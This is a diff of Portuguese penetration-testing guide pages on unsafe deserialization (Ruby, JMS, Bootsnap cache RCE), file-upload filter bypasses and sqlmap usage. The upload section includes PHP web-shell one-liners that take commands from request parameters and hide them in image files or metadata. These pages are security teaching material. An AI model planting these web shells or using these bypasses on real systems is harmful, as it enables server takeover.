Então, basicamente, há um **monte de serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||||
Então, basicamente, há um **monte de serviços usando JMS de uma maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||||
Isso significa que, nesta exploração, todos os **clientes que vão usar essa mensagem serão infectados**.
|
||||
|
||||
Você deve lembrar que mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
|
||||
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda for vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
|
||||
|
||||
@ -818,7 +818,7 @@ Outra cadeia de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/r
|
||||
|
||||
### Método Ruby .send()
|
||||
|
||||
Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada de usuário não sanitizada alcançar o método `.send()` de um objeto ruby, esse método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
|
||||
Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada de usuário não sanitizada alcançar o método `.send()` de um objeto ruby, este método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
|
||||
|
||||
Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
|
||||
```ruby
|
||||
@ -853,7 +853,7 @@ Verifique como pode ser possível [poluir uma classe Ruby e abusar dela aqui](ru
|
||||
|
||||
### Poluição _json Ruby
|
||||
|
||||
Ao enviar no corpo alguns valores não hasháveis, como um array, eles serão adicionados a uma nova chave chamada `_json`. No entanto, é possível que um atacante também defina no corpo um valor chamado `_json` com os valores arbitrários que desejar. Então, se o backend, por exemplo, verificar a veracidade de um parâmetro, mas também usar o parâmetro `_json` para realizar alguma ação, um bypass de autorização pode ser realizado.
|
||||
Ao enviar no corpo alguns valores não hasháveis, como um array, eles serão adicionados a uma nova chave chamada `_json`. No entanto, é possível que um atacante também defina no corpo um valor chamado `_json` com os valores arbitrários que desejar. Então, se o backend, por exemplo, verificar a veracidade de um parâmetro, mas também usar o parâmetro `_json` para realizar alguma ação, uma bypass de autorização pode ser realizada.
|
||||
|
||||
Verifique mais informações na [página de poluição _json Ruby](ruby-_json-pollution.md).
|
||||
|
||||
@ -861,9 +861,9 @@ Verifique mais informações na [página de poluição _json Ruby](ruby-_json-po
|
||||
|
||||
Esta técnica foi retirada [**deste post no blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que podem ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são desserializadas (função a ser abusada para obter RCE basicamente):
|
||||
Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que poderiam ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são desserializadas (função a ser abusada para obter RCE basicamente):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Exemplo básico:
|
||||
```ruby
|
||||
@ -923,4 +923,39 @@ Além disso, foi descoberto que com a técnica anterior uma pasta também é cri
|
||||
```
|
||||
Verifique mais detalhes na [**postagem original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
### Cache de Bootstrap
|
||||
|
||||
Não é realmente uma vulnerabilidade de deserialização, mas um truque interessante para abusar do cache de bootstrap para obter RCE de uma aplicação Rails com uma escrita de arquivo arbitrária (encontre a [postagem original completa aqui](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Abaixo está um resumo curto dos passos detalhados no artigo para explorar uma vulnerabilidade de escrita de arquivo arbitrária abusando do cache do Bootsnap:
|
||||
|
||||
- Identificar a Vulnerabilidade e o Ambiente
|
||||
|
||||
A funcionalidade de upload de arquivos da aplicação Rails permite que um atacante escreva arquivos arbitrariamente. Embora a aplicação funcione com restrições (apenas certos diretórios como tmp são graváveis devido ao usuário não-root do Docker), isso ainda permite a escrita no diretório de cache do Bootsnap (tipicamente sob tmp/cache/bootsnap).
|
||||
|
||||
- Entender o Mecanismo de Cache do Bootsnap
|
||||
|
||||
O Bootsnap acelera os tempos de inicialização do Rails armazenando em cache o código Ruby compilado, arquivos YAML e JSON. Ele armazena arquivos de cache que incluem um cabeçalho de chave de cache (com campos como versão do Ruby, tamanho do arquivo, mtime, opções de compilação, etc.) seguido pelo código compilado. Este cabeçalho é usado para validar o cache durante a inicialização da aplicação.
|
||||
|
||||
- Coletar Metadados do Arquivo
|
||||
|
||||
O atacante primeiro seleciona um arquivo alvo que provavelmente é carregado durante a inicialização do Rails (por exemplo, set.rb da biblioteca padrão do Ruby). Ao executar código Ruby dentro do contêiner, eles extraem metadados críticos (como RUBY_VERSION, RUBY_REVISION, tamanho, mtime e compile_option). Esses dados são essenciais para criar uma chave de cache válida.
|
||||
|
||||
- Calcular o Caminho do Arquivo de Cache
|
||||
|
||||
Replicando o mecanismo de hash FNV-1a de 64 bits do Bootsnap, o caminho correto do arquivo de cache é determinado. Esta etapa garante que o arquivo de cache malicioso seja colocado exatamente onde o Bootsnap espera (por exemplo, sob tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Criar o Arquivo de Cache Malicioso
|
||||
|
||||
O atacante prepara um payload que:
|
||||
|
||||
- Executa comandos arbitrários (por exemplo, executando id para mostrar informações do processo).
|
||||
- Remove o cache malicioso após a execução para evitar exploração recursiva.
|
||||
- Carrega o arquivo original (por exemplo, set.rb) para evitar a falha da aplicação.
|
||||
|
||||
Esse payload é compilado em código Ruby binário e concatenado com um cabeçalho de chave de cache cuidadosamente construído (usando os metadados coletados anteriormente e o número da versão correto para o Bootsnap).
|
||||
|
||||
- Sobrescrever e Acionar Execução
|
||||
Usando a vulnerabilidade de escrita de arquivo arbitrária, o atacante escreve o arquivo de cache criado na localização calculada. Em seguida, eles acionam uma reinicialização do servidor (escrevendo em tmp/restart.txt, que é monitorado pelo Puma). Durante a reinicialização, quando o Rails requer o arquivo alvo, o arquivo de cache malicioso é carregado, resultando em execução remota de código (RCE).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -18,7 +18,7 @@ Outras extensões úteis:
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use as extensões anteriores também):_
|
||||
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os **caracteres ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** mencionadas **anteriormente**_)
|
||||
@ -45,13 +45,13 @@ Outras extensões úteis:
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Tente colocar a **extensão exec antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar configurações incorretas do Apache onde qualquer coisa com extensão **_**.php**_**, mas** não necessariamente terminando em .php** executará código):
|
||||
- _ex: file.php.png_
|
||||
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Nesse caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
|
||||
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
|
||||
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome de arquivo curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após este padrão também pode ser útil para contornar mais restrições (por exemplo, “file.asp::$data.”)
|
||||
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso fica. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux máximo 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
|
||||
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Vamos supor 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -65,13 +65,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
1. Lista de palavras do Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confunda o comando _file_). Ou introduza o shell dentro dos **metadados**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ou você também pode **introduzir o payload diretamente** em uma imagem:\
|
||||
`\` ou você também poderia **introduzir o payload diretamente** em uma imagem:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- Se **compressões estão sendo adicionadas à sua imagem**, por exemplo, usando algumas bibliotecas PHP padrão como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você poderia usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- A página da web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você poderia usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você poderia usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**.
|
||||
- [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
@ -81,11 +81,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- **Possível divulgação de informações**:
|
||||
1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
|
||||
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
|
||||
3. Fazendo upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache em **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||
3. Enviando um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
|
||||
4. Faça o upload de um arquivo que pode não ser facilmente excluído, como **“…:.jpg”** em **NTFS**. (Windows)
|
||||
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
|
||||
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
||||
- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
|
||||
- Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando acidentalmente aberto pela vítima.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
@ -94,11 +94,11 @@ Se você está tentando fazer upload de arquivos para um **servidor ASP**, [dê
|
||||
|
||||
Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)
|
||||
|
||||
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém pode ter permitido **que essa extensão fosse executada**.
|
||||
A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **que essa extensão fosse executada**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Se você puder fazer upload de um arquivo XML em um servidor Jetty, poderá obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
|
||||
Se você puder fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -176,11 +176,11 @@ Note que **outra opção** que você pode estar pensando para contornar essa ver
|
||||
- [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
|
||||
- [**XXE e CORS** contornados com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, poderá preparar um PDF que executará JS arbitrário seguindo as indicações dadas.
|
||||
- PDFs especialmente elaborados para XSS: A [seguinte página apresenta como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, pode preparar um PDF que executará JS arbitrário seguindo as indicações dadas.
|
||||
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) conteúdo para verificar se o servidor tem algum **antivírus**
|
||||
- Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
|
||||
|
||||
Aqui está uma lista das 10 principais coisas que você pode conseguir ao fazer upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Aqui está uma lista das 10 principais coisas que você pode alcançar fazendo upload (de [aqui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: XSS armazenado / SSRF / XXE
|
||||
@ -199,18 +199,18 @@ Aqui está uma lista das 10 principais coisas que você pode conseguir ao fazer
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
|
||||
## Bytes Mágicos de Cabeçalho
|
||||
## Bytes de Cabeçalho Mágicos
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo.
|
||||
|
||||
### Upload de Arquivo Zip/Tar Descompactado Automaticamente
|
||||
## Upload de Arquivo Zip/Tar Descompactado Automaticamente
|
||||
|
||||
Se você puder fazer upload de um ZIP que será descompactado dentro do servidor, você pode fazer 2 coisas:
|
||||
|
||||
#### Symlink
|
||||
### Symlink
|
||||
|
||||
Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descompactados você acessará os arquivos vinculados:
|
||||
```
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
|
||||
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de SO através de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
|
||||
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra a execução de comandos em nível de SO por meio de uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de travessia de diretórios do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem de diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
|
||||
|
||||
Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada conforme mostrado:
|
||||
```python
|
||||
@ -291,7 +291,7 @@ pop graphic-context
|
||||
|
||||
Incorporar um shell PHP no bloco IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso.
|
||||
|
||||
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||
Uma exploração detalhada dessa técnica, incluindo sua metodologia e potenciais aplicações, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações.
|
||||
|
||||
Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
@ -299,12 +299,20 @@ Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shel
|
||||
|
||||
Arquivos poliglotas servem como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
|
||||
|
||||
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar furtivamente essas restrições.
|
||||
A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, JS, PHP ou arquivos Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivos, pode contornar furtivamente essas restrições.
|
||||
|
||||
Apesar de sua adaptabilidade, os poliglotas enfrentam limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload.
|
||||
|
||||
Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo que não seja permitido, simulando um arquivo PDF (técnicas deste **[blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (obter exemplo do post)
|
||||
- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (obter exemplo do post)
|
||||
- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga analisar o conteúdo como um json e então dentro do JSON coloque a parte inicial de um PDF real e ele pensará que é um PDF
|
||||
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
@ -313,5 +321,6 @@ Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-fr
|
||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Argumentos básicos para SQLmap
|
||||
|
||||
### Genérico
|
||||
@ -42,13 +43,13 @@
|
||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||
```
|
||||
Usando [SQLMapping](https://taurusomar.github.io/sqlmapping/), é uma ferramenta prática que gera comandos e fornece uma visão completa, tanto básica quanto avançada, para SQLMap. Inclui ToolTips que explicam cada aspecto da ferramenta, detalhando cada opção para que você possa melhorar e entender como usá-la de forma eficiente e eficaz.
|
||||
Usando [SQLMapping](https://taurusomar.github.io/sqlmapping/) é uma ferramenta prática que gera comandos e fornece uma visão completa, tanto básica quanto avançada, para SQLMap. Inclui ToolTips que explicam cada aspecto da ferramenta, detalhando cada opção para que você possa melhorar e entender como usá-la de forma eficiente e eficaz.
|
||||
|
||||
## Local de Injeção
|
||||
